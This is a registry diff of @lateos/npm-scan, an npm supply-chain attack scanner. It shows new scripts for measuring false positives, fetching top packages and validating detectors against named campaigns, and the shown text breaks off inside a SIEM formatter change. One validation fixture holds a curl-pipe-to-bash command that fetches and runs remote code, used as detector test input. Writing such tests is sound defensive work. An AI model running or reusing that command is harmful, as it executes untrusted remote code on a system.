@lateos/npm-scan 0.18.3 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (149) hide show
  1. package/CHANGELOG.md +32 -0
  2. package/README.md +864 -826
  3. package/VALIDATION.md +92 -0
  4. package/backend/cra.js +113 -21
  5. package/backend/db/pg-schema.sql +155 -0
  6. package/backend/db.js +18 -10
  7. package/backend/detectors/atk-001-lifecycle.js +5 -5
  8. package/backend/detectors/atk-002-obfusc.js +126 -47
  9. package/backend/detectors/atk-003-creds.js +8 -4
  10. package/backend/detectors/atk-004-persist.js +3 -3
  11. package/backend/detectors/atk-005-exfil.js +8 -4
  12. package/backend/detectors/atk-006-depconf.js +3 -3
  13. package/backend/detectors/atk-007-typosquat.js +64 -10
  14. package/backend/detectors/atk-008-tarball-tamper.js +6 -6
  15. package/backend/detectors/atk-009-dormant-trigger.js +9 -5
  16. package/backend/detectors/atk-010-sandbox-evasion.js +25 -10
  17. package/backend/detectors/atk-011-transitive-prop.js +14 -13
  18. package/backend/detectors/axios-poisoning/d1-version-fingerprint.js +4 -4
  19. package/backend/detectors/axios-poisoning/d2-decoy-dep.js +5 -1
  20. package/backend/detectors/axios-poisoning/d3-postinstall-rat.js +64 -19
  21. package/backend/detectors/axios-poisoning/index.js +77 -60
  22. package/backend/detectors/config/thresholds.js +111 -0
  23. package/backend/detectors/config/whitelist.json +74 -0
  24. package/backend/detectors/cve-2026-48710-badhost/codePattern.js +26 -9
  25. package/backend/detectors/cve-2026-48710-badhost/findings.js +8 -4
  26. package/backend/detectors/cve-2026-48710-badhost/index.js +1 -1
  27. package/backend/detectors/cve-2026-48710-badhost/manifest.js +127 -39
  28. package/backend/detectors/cve-2026-48710-badhost/transitive.js +87 -28
  29. package/backend/detectors/hf-impersonation/index.js +94 -31
  30. package/backend/detectors/hf-impersonation/jaro-winkler.js +33 -12
  31. package/backend/detectors/hf-impersonation/known-orgs.js +15 -3
  32. package/backend/detectors/hf-impersonation/simhash.js +2 -2
  33. package/backend/detectors/index.js +184 -31
  34. package/backend/detectors/lib/ast-patterns.js +24 -0
  35. package/backend/detectors/lib/entropy-analyzer.js +32 -0
  36. package/backend/detectors/megalodon/d1-workflow-scan.js +40 -16
  37. package/backend/detectors/megalodon/d2-credential-harvest.js +12 -5
  38. package/backend/detectors/megalodon/d3-publish-velocity.js +17 -11
  39. package/backend/detectors/megalodon/d4-publisher-drift.js +48 -16
  40. package/backend/detectors/megalodon/d5-bot-commit-identity.js +1 -1
  41. package/backend/detectors/megalodon/d6-date-anachronism.js +1 -1
  42. package/backend/detectors/megalodon/index.js +35 -25
  43. package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +3 -1
  44. package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +22 -10
  45. package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +30 -10
  46. package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +17 -13
  47. package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +12 -4
  48. package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +6 -2
  49. package/backend/detectors/mini-shai-hulud/index.js +63 -26
  50. package/backend/detectors/msh-supplement/d2-persistence.js +30 -12
  51. package/backend/detectors/msh-supplement/d3-geo-killswitch.js +20 -8
  52. package/backend/detectors/msh-supplement/d4-c2-deaddrop.js +19 -5
  53. package/backend/detectors/msh-supplement/index.js +78 -63
  54. package/backend/detectors/node-ipc-compromise/d1-version-blocklist.js +4 -2
  55. package/backend/detectors/node-ipc-compromise/d10-unauthorized-publisher.js +9 -5
  56. package/backend/detectors/node-ipc-compromise/d11-blast-radius.js +7 -3
  57. package/backend/detectors/node-ipc-compromise/d2-tarball-hash.js +9 -4
  58. package/backend/detectors/node-ipc-compromise/d3-cjs-payload-injection.js +7 -5
  59. package/backend/detectors/node-ipc-compromise/d4-injected-payload-hash.js +4 -2
  60. package/backend/detectors/node-ipc-compromise/d5-dns-c2-pattern.js +13 -10
  61. package/backend/detectors/node-ipc-compromise/d7-dns-txt-exfil.js +3 -1
  62. package/backend/detectors/node-ipc-compromise/d8-runtime-trigger.js +5 -2
  63. package/backend/detectors/node-ipc-compromise/index.js +21 -15
  64. package/backend/detectors/tier1-binary-embed.js +138 -41
  65. package/backend/detectors/tier1-cloud-imds.js +57 -37
  66. package/backend/detectors/tier1-encrypted-c2.js +198 -0
  67. package/backend/detectors/tier1-infostealer.js +121 -68
  68. package/backend/detectors/tier1-lifecycle-hook.js +63 -23
  69. package/backend/detectors/tier1-maintainer-compromise.js +157 -0
  70. package/backend/detectors/tier1-metadata-spoof.js +92 -42
  71. package/backend/detectors/tier1-multistage-postinstall.js +46 -19
  72. package/backend/detectors/tier1-obfuscation-heuristics.js +184 -0
  73. package/backend/detectors/tier1-self-propagation.js +115 -0
  74. package/backend/detectors/tier1-slsa-attestation.js +12 -0
  75. package/backend/detectors/tier1-transitive-deps.js +182 -0
  76. package/backend/detectors/tier1-typosquat.js +129 -50
  77. package/backend/detectors/tier1-version-anomaly.js +223 -0
  78. package/backend/detectors/tier1-version-confusion.js +79 -59
  79. package/backend/detectors/trapdoor/d1-campaign-marker.js +3 -1
  80. package/backend/detectors/trapdoor/d2-payload-fingerprint.js +1 -1
  81. package/backend/detectors/trapdoor/d3-publisher-blocklist.js +4 -3
  82. package/backend/detectors/trapdoor/d4-gists-exfil.js +4 -2
  83. package/backend/detectors/trapdoor/d5-ai-poisoning.js +5 -3
  84. package/backend/detectors/trapdoor/d6-lure-name.js +12 -7
  85. package/backend/detectors/trapdoor/d7-crypto-primitives.js +2 -2
  86. package/backend/detectors/trapdoor/d8-xor-key.js +7 -2
  87. package/backend/detectors/trapdoor/d9-cred-validation.js +4 -5
  88. package/backend/detectors/trapdoor/index.js +19 -14
  89. package/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js +32 -8
  90. package/backend/detectors/typosquat-vpmdhaj/d2-preinstall-loader.js +5 -3
  91. package/backend/detectors/typosquat-vpmdhaj/d3-cred-exfil.js +34 -12
  92. package/backend/detectors/typosquat-vpmdhaj/index.js +78 -59
  93. package/backend/detectors.test.js +147 -0
  94. package/backend/fetch.js +37 -29
  95. package/backend/index.js +1 -1
  96. package/backend/license.js +20 -4
  97. package/backend/lockfile.js +60 -36
  98. package/backend/pdf.js +107 -28
  99. package/backend/policy.js +183 -56
  100. package/backend/provenance.js +28 -3
  101. package/backend/report.js +136 -70
  102. package/backend/sbom.js +33 -27
  103. package/backend/scripts/analyze-false-positives.js +152 -0
  104. package/backend/scripts/analyze-validation.js +157 -0
  105. package/backend/scripts/detect-false-positives.js +103 -0
  106. package/backend/scripts/fetch-top-packages.js +277 -0
  107. package/backend/scripts/validate-d10-d13.js +103 -0
  108. package/backend/scripts/validate-detectors.js +151 -0
  109. package/backend/siem/cef.js +23 -21
  110. package/backend/siem/ecs.js +3 -3
  111. package/backend/siem/index.js +1 -1
  112. package/backend/siem/qradar.js +3 -3
  113. package/backend/siem/sentinel.js +2 -2
  114. package/backend/tests-d5-enhanced.test.js +47 -0
  115. package/backend/tests-d6-version-anomaly.test.js +67 -0
  116. package/backend/tests-d6.test.js +126 -0
  117. package/backend/tests-d6c.test.js +119 -0
  118. package/backend/tests-d7-obfuscation.test.js +88 -0
  119. package/backend/tests.test.js +997 -0
  120. package/backend/vsix-scan/detectors/activation-event-risk.js +36 -19
  121. package/backend/vsix-scan/detectors/burst-publish.js +14 -7
  122. package/backend/vsix-scan/detectors/exfil-pattern.js +7 -3
  123. package/backend/vsix-scan/detectors/known-ioc.js +23 -8
  124. package/backend/vsix-scan/detectors/orphan-commit-fetch.js +11 -7
  125. package/backend/vsix-scan/detectors/publisher-anomaly.js +24 -10
  126. package/backend/vsix-scan/index.js +97 -41
  127. package/backend/vsix-scan/marketplace-client.js +29 -13
  128. package/cli/cli.js +154 -64
  129. package/package.json +36 -10
  130. package/.dockerignore +0 -20
  131. package/.husky/pre-commit +0 -1
  132. package/SECURITY.md +0 -73
  133. package/deploy/helm/npm-scan/Chart.yaml +0 -22
  134. package/deploy/helm/npm-scan/templates/_helpers.tpl +0 -9
  135. package/deploy/helm/npm-scan/templates/api.yaml +0 -94
  136. package/deploy/helm/npm-scan/templates/ingress.yaml +0 -28
  137. package/deploy/helm/npm-scan/templates/postgresql.yaml +0 -67
  138. package/deploy/helm/npm-scan/templates/secrets.yaml +0 -19
  139. package/deploy/helm/npm-scan/templates/worker.yaml +0 -32
  140. package/deploy/helm/npm-scan/values.byoc.yaml +0 -75
  141. package/deploy/helm/npm-scan/values.yaml +0 -103
  142. package/scripts/download-corpus.js +0 -30
  143. package/scripts/gen-mal-corpus.js +0 -35
  144. package/scripts/generate-campaign-fixtures.js +0 -170
  145. package/src/config/top-5000.json +0 -87
  146. package/test/fixtures/lockfiles/npm-lock.json +0 -69
  147. package/test/fixtures/lockfiles/pnpm-lock.yaml +0 -118
  148. package/test/fixtures/lockfiles/yarn.lock +0 -104
  149. package/test/fixtures/mock-data.js +0 -69
@@ -0,0 +1,103 @@
1
+ #!/usr/bin/env node
2
+ import { readFileSync, writeFileSync, existsSync } from 'node:fs';
3
+ import { resolve } from 'node:path';
4
+ import { runAll } from '../detectors/index.js';
5
+ import whitelist from '../detectors/config/whitelist.json' with { type: 'json' };
6
+
7
+ const WHITELIST_MAP = new Map();
8
+ for (const entry of whitelist.packages) {
9
+ WHITELIST_MAP.set(entry.name, new Set(entry.detectors));
10
+ }
11
+
12
+ async function detectFalsePositives(topPackagesFile, confidenceThreshold = 70) {
13
+ const absPath = resolve(topPackagesFile);
14
+ if (!existsSync(absPath)) {
15
+ console.error(`[ERROR] Top packages file not found: ${absPath}`);
16
+ console.error(' Run fetch-top-packages.js first');
17
+ process.exit(1);
18
+ }
19
+
20
+ const text = readFileSync(absPath, 'utf-8');
21
+ const lines = text.split('\n').filter((l) => l.trim());
22
+ console.log(`[INFO] Loaded ${lines.length} packages from ${topPackagesFile}`);
23
+
24
+ const falsePositives = [];
25
+ let count = 0;
26
+ let skipped = 0;
27
+
28
+ for (const line of lines) {
29
+ const pkg = JSON.parse(line);
30
+ count += 1;
31
+
32
+ const pkgName = pkg.name;
33
+ const whitelistedDetectors = WHITELIST_MAP.get(pkgName);
34
+
35
+ if (whitelistedDetectors) {
36
+ skipped += 1;
37
+ if (count % 200 === 0 || count <= 5) {
38
+ console.log(`[SKIP] ${pkgName} (whitelisted for ${[...whitelistedDetectors].join(', ')})`);
39
+ }
40
+ } else {
41
+ if (count % 100 === 0) {
42
+ console.log(`[PROGRESS] Processed ${count}/${lines.length} packages...`);
43
+ }
44
+ }
45
+
46
+ try {
47
+ const pkgJson = { name: pkgName, version: pkg.version };
48
+ const findings = await runAll(pkgJson, [], null, []);
49
+
50
+ for (const detection of findings) {
51
+ if (detection.confidenceScore < confidenceThreshold) {
52
+ continue;
53
+ }
54
+ if (whitelistedDetectors && whitelistedDetectors.has(detection.id)) {
55
+ continue;
56
+ }
57
+
58
+ falsePositives.push({
59
+ package: pkgName,
60
+ version: pkg.version,
61
+ detector: detection.id,
62
+ confidence: detection.confidenceScore,
63
+ severity: detection.severity,
64
+ subtype: detection.subtype,
65
+ message: detection.message,
66
+ evidence: detection.evidence,
67
+ timestamp: new Date().toISOString(),
68
+ });
69
+
70
+ if (falsePositives.length <= 10) {
71
+ console.log(
72
+ `[FLAG] ${pkgName}@${pkg.version}: ${detection.id} (${detection.confidenceScore}%)`
73
+ );
74
+ }
75
+ }
76
+ } catch (err) {
77
+ console.error(`[ERROR] ${pkgName}: ${err.message}`);
78
+ }
79
+ }
80
+
81
+ const outPath = resolve('false-positives.jsonl');
82
+ const outputData = falsePositives.map((fp) => JSON.stringify(fp)).join('\n') + '\n';
83
+ writeFileSync(outPath, outputData, 'utf-8');
84
+
85
+ const scannedCount = count - skipped;
86
+ console.log(`\n[SUMMARY] Scanned ${scannedCount} packages (skipped ${skipped} whitelisted)`);
87
+ console.log(
88
+ `[SUMMARY] Found ${falsePositives.length} potential false positives (${((falsePositives.length / scannedCount) * 100).toFixed(1)}% FP rate)`
89
+ );
90
+ console.log(`[INFO] Written to ${outPath}`);
91
+
92
+ return falsePositives;
93
+ }
94
+
95
+ const topPackagesFile = process.argv[2] || 'top-packages.jsonl';
96
+ const confidenceThreshold = parseInt(process.argv[3]) || 70;
97
+
98
+ detectFalsePositives(topPackagesFile, confidenceThreshold)
99
+ .then(() => process.exit(0))
100
+ .catch((err) => {
101
+ console.error(`[FATAL] ${err.message}`);
102
+ process.exit(1);
103
+ });
@@ -0,0 +1,277 @@
1
+ #!/usr/bin/env node
2
+ import { writeFileSync } from 'node:fs';
3
+ import { resolve } from 'node:path';
4
+
5
+ async function fetchTopPackages(limit = 1000) {
6
+ console.log(`[INFO] Fetching top ${limit} npm packages via npms.io...`);
7
+
8
+ const packages = [];
9
+ const pageSize = 50;
10
+ const numPages = Math.ceil(limit / pageSize);
11
+
12
+ for (let page = 0; page < numPages; page++) {
13
+ const from = page * pageSize;
14
+ const q = encodeURIComponent('not:deprecated');
15
+ const url = `https://api.npms.io/v2/search?q=${q}&size=${pageSize}&from=${from}`;
16
+
17
+ console.log(`[INFO] Fetching page ${page + 1}/${numPages} (offset ${from})...`);
18
+
19
+ try {
20
+ const response = await fetch(url, { signal: AbortSignal.timeout(15000) });
21
+ if (!response.ok) {
22
+ console.error(`[ERROR] npms.io returned ${response.status} for page ${page + 1}`);
23
+ continue;
24
+ }
25
+
26
+ const data = await response.json();
27
+
28
+ for (const result of data.results || []) {
29
+ if (packages.length >= limit) {
30
+ break;
31
+ }
32
+ packages.push({
33
+ name: result.package.name,
34
+ version: result.package.version,
35
+ description: result.package.description || '',
36
+ keywords: result.package.keywords || [],
37
+ publisher: result.package.publisher ? result.package.publisher.username : null,
38
+ date: result.package.date,
39
+ score: result.score
40
+ ? {
41
+ final: result.score.final,
42
+ quality: result.score.detail?.quality,
43
+ popularity: result.score.detail?.popularity,
44
+ maintenance: result.score.detail?.maintenance,
45
+ }
46
+ : null,
47
+ });
48
+ }
49
+
50
+ console.log(` Retrieved ${packages.length} packages so far`);
51
+ } catch (err) {
52
+ console.error(`[ERROR] Failed page ${page + 1}: ${err.message}`);
53
+ }
54
+
55
+ if (packages.length >= limit) {
56
+ break;
57
+ }
58
+
59
+ if (page < numPages - 1) {
60
+ await new Promise((r) => setTimeout(r, 2000));
61
+ }
62
+ }
63
+
64
+ if (packages.length === 0) {
65
+ console.log('[ERROR] No packages fetched. Using fallback known-top list.');
66
+ return await fallbackList(limit);
67
+ }
68
+
69
+ const outPath = resolve('top-packages.jsonl');
70
+ const lines = packages.map((pkg) => JSON.stringify(pkg)).join('\n') + '\n';
71
+ writeFileSync(outPath, lines, 'utf-8');
72
+ console.log(`\n[INFO] Written ${packages.length} packages to ${outPath}`);
73
+ return packages;
74
+ }
75
+
76
+ async function fallbackList(limit) {
77
+ const knownTop = [
78
+ 'lodash',
79
+ 'chalk',
80
+ 'react',
81
+ 'express',
82
+ 'commander',
83
+ 'axios',
84
+ 'moment',
85
+ 'webpack',
86
+ 'eslint',
87
+ 'typescript',
88
+ 'prettier',
89
+ 'babel',
90
+ 'next',
91
+ 'vue',
92
+ 'angular',
93
+ 'redux',
94
+ 'jest',
95
+ 'mocha',
96
+ 'chai',
97
+ 'sinon',
98
+ 'nodemon',
99
+ 'debug',
100
+ 'async',
101
+ 'request',
102
+ 'colors',
103
+ 'mkdirp',
104
+ 'fs-extra',
105
+ 'glob',
106
+ 'yargs',
107
+ 'minimist',
108
+ 'uuid',
109
+ 'date-fns',
110
+ 'crypto-js',
111
+ 'jsonwebtoken',
112
+ 'passport',
113
+ 'socket.io',
114
+ 'ws',
115
+ 'graphql',
116
+ 'apollo',
117
+ 'prisma',
118
+ 'mongoose',
119
+ 'pg',
120
+ 'mysql2',
121
+ 'redis',
122
+ 'sequelize',
123
+ 'typeorm',
124
+ 'dotenv',
125
+ 'cross-env',
126
+ 'rimraf',
127
+ 'semver',
128
+ 'rimraf',
129
+ 'tar',
130
+ 'inquirer',
131
+ 'ora',
132
+ 'listr',
133
+ 'conf',
134
+ 'env-paths',
135
+ 'find-up',
136
+ 'p-locate',
137
+ 'locate-path',
138
+ 'path-exists',
139
+ 'y18n',
140
+ 'yallist',
141
+ 'minipass',
142
+ 'minizlib',
143
+ 'supports-color',
144
+ 'has-flag',
145
+ 'wrap-ansi',
146
+ 'string-width',
147
+ 'strip-ansi',
148
+ 'ansi-regex',
149
+ 'is-fullwidth-code-point',
150
+ 'emoji-regex',
151
+ 'cliui',
152
+ 'escalade',
153
+ 'get-caller-file',
154
+ 'require-directory',
155
+ 'npm',
156
+ 'node-fetch',
157
+ 'got',
158
+ 'phin',
159
+ 'undici',
160
+ 'make-fetch-happen',
161
+ 'cacache',
162
+ 'ssri',
163
+ 'unique-filename',
164
+ 'unique-slug',
165
+ 'imurmurhash',
166
+ 'signal-exit',
167
+ 'which',
168
+ 'isexe',
169
+ 'minimatch',
170
+ 'brace-expansion',
171
+ 'balanced-match',
172
+ 'concat-map',
173
+ 'lru-cache',
174
+ 'yallist',
175
+ 'semver',
176
+ 'json5',
177
+ 'tslib',
178
+ 'source-map',
179
+ 'source-map-js',
180
+ 'ms',
181
+ 'mime',
182
+ 'cookie',
183
+ 'express-session',
184
+ 'body-parser',
185
+ 'cors',
186
+ 'helmet',
187
+ 'morgan',
188
+ 'compression',
189
+ 'serve-static',
190
+ 'send',
191
+ 'fresh',
192
+ 'etag',
193
+ 'parseurl',
194
+ 'utils-merge',
195
+ 'methods',
196
+ 'array-flatten',
197
+ 'qs',
198
+ 'merge-descriptors',
199
+ 'path-to-regexp',
200
+ 'iconv-lite',
201
+ 'raw-body',
202
+ 'on-finished',
203
+ 'ee-first',
204
+ 'inherits',
205
+ 'depd',
206
+ 'http-errors',
207
+ 'statuses',
208
+ 'setprototypeof',
209
+ 'toidentifier',
210
+ 'content-type',
211
+ 'negotiator',
212
+ 'accepts',
213
+ 'type-is',
214
+ 'vary',
215
+ 'encodeurl',
216
+ 'escape-html',
217
+ 'destroy',
218
+ 'bytes',
219
+ 'unpipe',
220
+ 'finalhandler',
221
+ 'media-typer',
222
+ 'http-proxy',
223
+ 'http-proxy-middleware',
224
+ 'morgan',
225
+ 'connect',
226
+ 'pino',
227
+ 'winston',
228
+ 'bunyan',
229
+ 'log4js',
230
+ 'nanoid',
231
+ 'uid',
232
+ 'ulid',
233
+ 'cuid',
234
+ 'shortid',
235
+ 'uuidv4',
236
+ 'uuidv7',
237
+ 'bcrypt',
238
+ 'bcryptjs',
239
+ 'argon2',
240
+ 'scrypt',
241
+ 'pbkdf2',
242
+ 'crypto',
243
+ 'node-forge',
244
+ 'pkijs',
245
+ 'asn1js',
246
+ 'jsrsasign',
247
+ 'jose',
248
+ 'jwk',
249
+ ];
250
+ const pkgs = knownTop.slice(0, limit).map((name, i) => ({
251
+ name,
252
+ version: '1.0.0',
253
+ description: '',
254
+ keywords: [],
255
+ publisher: null,
256
+ date: null,
257
+ score: { final: 1 - i / knownTop.length, quality: 0.9, popularity: 0.9, maintenance: 0.9 },
258
+ }));
259
+ console.log(`[FALLBACK] Using ${pkgs.length} known top packages`);
260
+
261
+ const outPath = resolve('top-packages.jsonl');
262
+ const lines = pkgs.map((pkg) => JSON.stringify(pkg)).join('\n') + '\n';
263
+ writeFileSync(outPath, lines, 'utf-8');
264
+ console.log(`[INFO] Written ${pkgs.length} packages to ${outPath}`);
265
+ return pkgs;
266
+ }
267
+
268
+ const limit = parseInt(process.argv[2]) || 1000;
269
+ fetchTopPackages(limit)
270
+ .then((pkgs) => {
271
+ console.log(`[DONE] ${pkgs.length} packages fetched`);
272
+ process.exit(0);
273
+ })
274
+ .catch((err) => {
275
+ console.error(`[FATAL] ${err.message}`);
276
+ process.exit(1);
277
+ });
@@ -0,0 +1,103 @@
1
+ import { scan as d10scan } from '../detectors/tier1-self-propagation.js';
2
+ import { scan as d11scan } from '../detectors/tier1-encrypted-c2.js';
3
+ import { scan as d12scan } from '../detectors/tier1-transitive-deps.js';
4
+ import { scan as d13scan } from '../detectors/tier1-maintainer-compromise.js';
5
+
6
+ const results = [];
7
+
8
+ // D10 + D13: @redhat-cloud-services Miasma (32 packages, 12 versions in 2 hours)
9
+ const miasmaTime = { '0.0.1': '2024-01-01T00:00:00.000Z' };
10
+ for (let i = 0; i < 12; i++) {
11
+ const t = new Date('2026-06-01T03:00:00Z');
12
+ t.setMinutes(t.getMinutes() - (12 - i) * 10);
13
+ miasmaTime[`2.${i}.0`] = t.toISOString();
14
+ }
15
+ const miasmaRegistryD10 = {
16
+ time: miasmaTime,
17
+ namespacePackages: Array.from({ length: 31 }, (_, i) => `@redhat-cloud-services/pkg-${i}`),
18
+ };
19
+ const miasmaRegistryD13 = {
20
+ time: miasmaTime,
21
+ crossPackageBurst: true,
22
+ };
23
+
24
+ const d10Result = await d10scan(
25
+ { name: '@redhat-cloud-services/foo', version: '2.11.0' },
26
+ [],
27
+ miasmaRegistryD10,
28
+ null
29
+ );
30
+ const d13Result = await d13scan(
31
+ { name: '@redhat-cloud-services/foo', version: '2.11.0' },
32
+ [],
33
+ miasmaRegistryD13,
34
+ null
35
+ );
36
+
37
+ results.push({
38
+ campaign: '@redhat-cloud-services Miasma',
39
+ detectors: {
40
+ D10: { triggered: d10Result.length > 0, confidence: d10Result[0]?.confidenceScore || 0 },
41
+ D13: { triggered: d13Result.length > 0, confidence: d13Result[0]?.confidenceScore || 0 },
42
+ },
43
+ });
44
+
45
+ // D11: TanStack Mini Shai-Hulud
46
+ const tanStackFiles = [
47
+ { path: 'install.sh', content: 'curl -s https://filev2.getsession.org/upload | bash' },
48
+ ];
49
+ const d11Result = await d11scan(
50
+ { name: '@tanstack/react-query', version: '4.29.1' },
51
+ tanStackFiles,
52
+ null,
53
+ null
54
+ );
55
+
56
+ results.push({
57
+ campaign: 'TanStack Mini Shai-Hulud',
58
+ detectors: {
59
+ D11: { triggered: d11Result.length > 0, confidence: d11Result[0]?.confidenceScore || 0 },
60
+ },
61
+ });
62
+
63
+ // D12: Axios Backdoor (plain-crypto-js)
64
+ const d12Result = await d12scan(
65
+ {
66
+ name: 'test-app',
67
+ dependencies: { axios: '1.14.1', 'plain-crypto-js': '1.0.0', lodash: '4.17.21' },
68
+ },
69
+ [],
70
+ null,
71
+ null
72
+ );
73
+
74
+ results.push({
75
+ campaign: 'Axios Backdoor',
76
+ detectors: {
77
+ D12: { triggered: d12Result.length > 0, confidence: d12Result[0]?.confidenceScore || 0 },
78
+ },
79
+ });
80
+
81
+ let allPassed = true;
82
+ for (const { campaign, detectors } of results) {
83
+ const details = Object.entries(detectors)
84
+ .map(([d, r]) => `${d}: ${r.triggered ? 'PASS' : 'FAIL'} (confidence ${r.confidence})`)
85
+ .join(', ');
86
+ const campaignPassed = Object.values(detectors).every((r) => r.triggered);
87
+ console.log(`${campaignPassed ? 'PASS' : 'FAIL'} ${campaign}: ${details}`);
88
+ if (!campaignPassed) allPassed = false;
89
+ }
90
+
91
+ if (allPassed) {
92
+ console.log('\nAll campaigns validated successfully.');
93
+ } else {
94
+ console.log('\nSome campaigns FAILED validation.');
95
+ }
96
+
97
+ const output = {
98
+ timestamp: new Date().toISOString(),
99
+ results,
100
+ passed: allPassed,
101
+ };
102
+ const fs = await import('fs');
103
+ fs.writeFileSync('validation-d10-d13.json', JSON.stringify(output, null, 2));
@@ -0,0 +1,151 @@
1
+ #!/usr/bin/env node
2
+ import { readFileSync, writeFileSync, existsSync } from 'node:fs';
3
+ import { resolve } from 'node:path';
4
+ import { runAll } from '../detectors/index.js';
5
+
6
+ const CAMPAIGN_FIXTURES = {
7
+ 'campaign-1': 'fixtures/campaigns/campaign-1-dependency-confusion.jsonl',
8
+ 'campaign-2': 'fixtures/campaigns/campaign-2-mini-shai-hulud.jsonl',
9
+ 'campaign-3': 'fixtures/campaigns/campaign-3-bitwarden-impersonation.jsonl',
10
+ };
11
+
12
+ function loadFixture(filePath) {
13
+ const abs = resolve(filePath);
14
+ if (!existsSync(abs)) {
15
+ console.error(`[ERROR] Fixture not found: ${abs}`);
16
+ return [];
17
+ }
18
+ const text = readFileSync(abs, 'utf-8');
19
+ return text
20
+ .split('\n')
21
+ .filter((l) => l.trim())
22
+ .map((l) => JSON.parse(l));
23
+ }
24
+
25
+ async function fetchNpmMetadata(pkgName, version) {
26
+ try {
27
+ const url = `https://registry.npmjs.org/${encodeURIComponent(pkgName)}/${version}`;
28
+ const response = await fetch(url, { signal: AbortSignal.timeout(5000) });
29
+ if (!response.ok) {
30
+ return null;
31
+ }
32
+ return await response.json();
33
+ } catch {
34
+ console.warn(` [WARN] Registry fetch failed for ${pkgName}@${version}; using fixture data`);
35
+ return null;
36
+ }
37
+ }
38
+
39
+ function constructRegistryMeta(pkg, liveMeta) {
40
+ if (liveMeta) {
41
+ return liveMeta;
42
+ }
43
+ if (pkg.mockRegistryMeta) {
44
+ return pkg.mockRegistryMeta;
45
+ }
46
+ return null;
47
+ }
48
+
49
+ function constructPkgJson(pkg) {
50
+ const base = { name: pkg.package, version: pkg.version };
51
+ if (pkg.mockPackageJson) {
52
+ return { ...base, ...pkg.mockPackageJson };
53
+ }
54
+ return base;
55
+ }
56
+
57
+ async function validateDetectors(campaigns, outputFile) {
58
+ const allResults = [];
59
+
60
+ const campaignKeys = campaigns === 'all' ? Object.keys(CAMPAIGN_FIXTURES) : [campaigns];
61
+
62
+ for (const campaignKey of campaignKeys) {
63
+ const fixturePath = CAMPAIGN_FIXTURES[campaignKey];
64
+ if (!fixturePath) {
65
+ console.error(`[ERROR] Unknown campaign: ${campaignKey}`);
66
+ continue;
67
+ }
68
+
69
+ console.log(`\n[${new Date().toISOString()}] Validating ${campaignKey}...`);
70
+ const packages = loadFixture(fixturePath);
71
+ console.log(` Loaded ${packages.length} packages from fixture`);
72
+
73
+ for (const pkg of packages) {
74
+ try {
75
+ const pkgJson = constructPkgJson(pkg);
76
+ const liveMeta = await fetchNpmMetadata(pkg.package, pkg.version);
77
+ const registryMeta = constructRegistryMeta(pkg, liveMeta);
78
+
79
+ const findings = await runAll(pkgJson, [], registryMeta, []);
80
+
81
+ const detectedIds = [...new Set(findings.map((f) => f.id))];
82
+
83
+ const result = {
84
+ package: pkg.package,
85
+ version: pkg.version,
86
+ campaign_id: pkg.campaign_id,
87
+ campaign_name: pkg.campaign_name,
88
+ attack_vector: pkg.attack_vector,
89
+ expected_detectors: pkg.expected_detectors,
90
+ detected_detectors: detectedIds,
91
+ detection_count: findings.length,
92
+ detections: findings.map((f) => ({
93
+ id: f.id,
94
+ detector: f.detector,
95
+ severity: f.severity,
96
+ confidence: f.confidence,
97
+ confidenceScore: f.confidenceScore,
98
+ subtype: f.subtype,
99
+ message: f.message,
100
+ })),
101
+ metadata_available: !!liveMeta,
102
+ registry_source: liveMeta ? 'live' : 'fixture',
103
+ timestamp: new Date().toISOString(),
104
+ };
105
+
106
+ allResults.push(result);
107
+
108
+ const expectedCount = pkg.expected_detectors.length;
109
+ const hitCount = detectedIds.filter((id) => pkg.expected_detectors.includes(id)).length;
110
+ console.log(
111
+ ` ${hitCount > 0 ? '✓' : '✗'} ${pkg.package}@${pkg.version}: ${hitCount}/${expectedCount} expected detectors fired`
112
+ );
113
+ for (const f of findings) {
114
+ console.log(` ${f.id} (${f.confidenceScore}%, ${f.severity})`);
115
+ }
116
+ } catch (err) {
117
+ console.error(` ✗ ${pkg.package}@${pkg.version}: ${err.message}`);
118
+ allResults.push({
119
+ package: pkg.package,
120
+ version: pkg.version,
121
+ campaign_id: pkg.campaign_id,
122
+ error: err.message,
123
+ timestamp: new Date().toISOString(),
124
+ });
125
+ }
126
+ }
127
+ }
128
+
129
+ if (outputFile) {
130
+ const lines = allResults.map((r) => JSON.stringify(r)).join('\n') + '\n';
131
+ writeFileSync(outputFile, lines, 'utf-8');
132
+ }
133
+
134
+ const processed = allResults.filter((r) => !r.error).length;
135
+ const errors = allResults.filter((r) => r.error).length;
136
+ console.log(`\n[SUMMARY] Processed ${processed} packages, ${errors} errors`);
137
+ console.log(`[INFO] Results written to ${outputFile}`);
138
+
139
+ return allResults;
140
+ }
141
+
142
+ const args = process.argv.slice(2);
143
+ const campaignArg = args[0] || 'all';
144
+ const outputArg = args[1] ? resolve(args[1]) : resolve('validation-results.jsonl');
145
+
146
+ validateDetectors(campaignArg, outputArg)
147
+ .then(() => process.exit(0))
148
+ .catch((err) => {
149
+ console.error(`[ERROR] ${err.message}`);
150
+ process.exit(1);
151
+ });
@@ -1,33 +1,35 @@
1
1
  export function generateCEF(scans) {
2
2
  const entries = [];
3
3
  for (const s of scans) {
4
- for (const f of (s.findings || [])) {
4
+ for (const f of s.findings || []) {
5
5
  const atkId = f.atk_id || f.id;
6
6
  const desc = (f.description || f.title || '').replace(/\\/g, '\\\\').replace(/\|/g, '\\|');
7
7
  const sevMap = { critical: 10, high: 8, medium: 5, low: 2 };
8
8
  const sev = sevMap[f.severity] || 5;
9
9
  const pkgName = (s.package_name || 'unknown').replace(/\|/g, '\\|');
10
10
  const pkgVer = (s.version || '').replace(/\|/g, '\\|');
11
- entries.push([
12
- 'CEF:0',
13
- 'npm-scan',
14
- 'npm-scan',
15
- process.env.npm_package_version || '0.4.0',
16
- atkId,
17
- desc,
18
- String(sev),
19
- `suser=${pkgName} ${pkgVer}`,
20
- `msg=${desc}`,
21
- `cs1=${atkId}`,
22
- `cs1Label=atkId`,
23
- `cs2=${f.severity}`,
24
- `cs2Label=severity`,
25
- `cs3=${pkgName}`,
26
- `cs3Label=package`,
27
- `cs4=${pkgVer}`,
28
